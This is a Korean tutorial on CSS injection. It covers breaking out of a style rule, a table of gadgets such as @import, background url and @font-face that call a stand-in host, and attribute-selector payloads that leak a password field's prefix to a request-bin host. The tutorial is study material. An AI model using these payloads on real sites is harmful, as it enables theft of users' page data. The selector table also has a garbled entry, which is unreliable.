CSS Injection 기초
CSS Injection의 경우 XSS와 비슷하게 악의적인 문자열을 삽입하여 동작을 이끄는 공격이다.
웹페이지 UI를 변조하거나 CSS 속성의 다양한 기능을 통해 웹 페이지내의 데이터를 외부로 훔칠 수 있다.
<style>
body{ background-color: ${theme};}
</style>
<h1>Hello, it's dream. Interesting with CSS Injection?</h1>
if '<' in theme:
exit(0)위 코드의 경우 theme 을 통해서 사용자가 원하는 배경 색을 사용할 수 있다. 하지만 < 이 문장을 필터링 하는 것을 통해서 style 태그를 벗어 날수는 없다.
yellow; } h1 { color: red 라는 데이터를 통해서 h1 내의 글씨 색깔을 바꿀 수 있다.
<style>
body { background-color: yellow; } h1 { color: red; }
</style>
<h1>Hello, it's dreame. Interesting with CSS Injection?</h1>IP Ping Back 하기
클라이언트 사이트 공격을 통해 데이터를 외부로 탈취해야 한다. CSS 속성을 통해서 외부 요청을 전송할 수 있다.
| css 가젯 | 설명 |
|---|---|
| @import ‘https://leaking.via/css-import-string’; | 외부 CSS 파일을 로드한다. |
| @import url(https://leaking.via/css-import-url); | url 함수는 URL을 불러오는 역할을 한다. |
| background: url(https://leaking.via/css-background); | 요소의 배경을 변경할 때 사용할 이미지를 불러온다. |
| @font-face { font-family: leak; src: url(https://leaking.via/css-font-face-src); } | 불러올 폰트 파일의 주소를 지정한다. |
| background-image: \000075\000072\00006C(https://leaking.via/css-escape-url-2); | CSS에서 함수를 호출할 때 ASCII 형태의 “url”이 아닌 hex 형태도 지원한다. |
<style>
body { background-color: yellow; background: url("<https://aaaaaaa.request.dreamhack.games/ping-back>"); }
</style>
<h1>Hello, it's dreame. Interesting with CSS Injection?</h1>https://aaaaaaa.request.dreamhack.games/ping-back 에 요청을 보내는 방법 IP ping back을 수행.
CSS Injection을 이용한 데이터 탈취
Attribute Selector를 통해서 입력 박스에 값를 탈취하는 방법이 존재한다.
<style>
body { background-color: ${theme}; }
</style>
<h1>Hello, it's dreame. Interesting with CSS Injection?</h1>
<input readonly type="password" value="apple">
if '<' in theme:
exit(0)CSS Attribute Selector
CSS Attribute Selector는 요소의 특성을 선택할 수 있는 기능을 제공한다.
input[attr=value] {}| 구문 | 설명 |
|---|---|
| [attr] | attr 이라는 이름의 특성을 가진 요소를 선택 |
| [attr=vallue] | attr 이라는 이름의 특성값이 정확히 value 인 요소를 선택 |
| [attr≠value] | attr 이라는 이름의 특성값 중 정확히 value 가 있는 요소를 선택한다. |
| [attr^=value] | attr이라는 특성값을 가지고 있으며, 접두사로 value가 값에 포함되어 있으면 요소를 선택한다. |
| [attr$=value] | attr이라는 특성값을 가지고 있으며, 접미사로 value가 값에 표함되어 있으면 요소를 선택한다. |
<style>
body { background-color: yellow; } input[value^=S3CR3T_] { background: url("<https://aaaaaaa.request.dreamhack.games/lols>"); }
</style>
<h1>Hello, it's dreame. Interesting with CSS Injection?</h1>
<input readonly type="password" value="apple">
if '<' in theme:
exit(0)input 요소의 value 특성의 접두사가 S3CR3T 일때 https://aaaaaaa.request.dreamhack.games/lols 에 요청을 전송한다.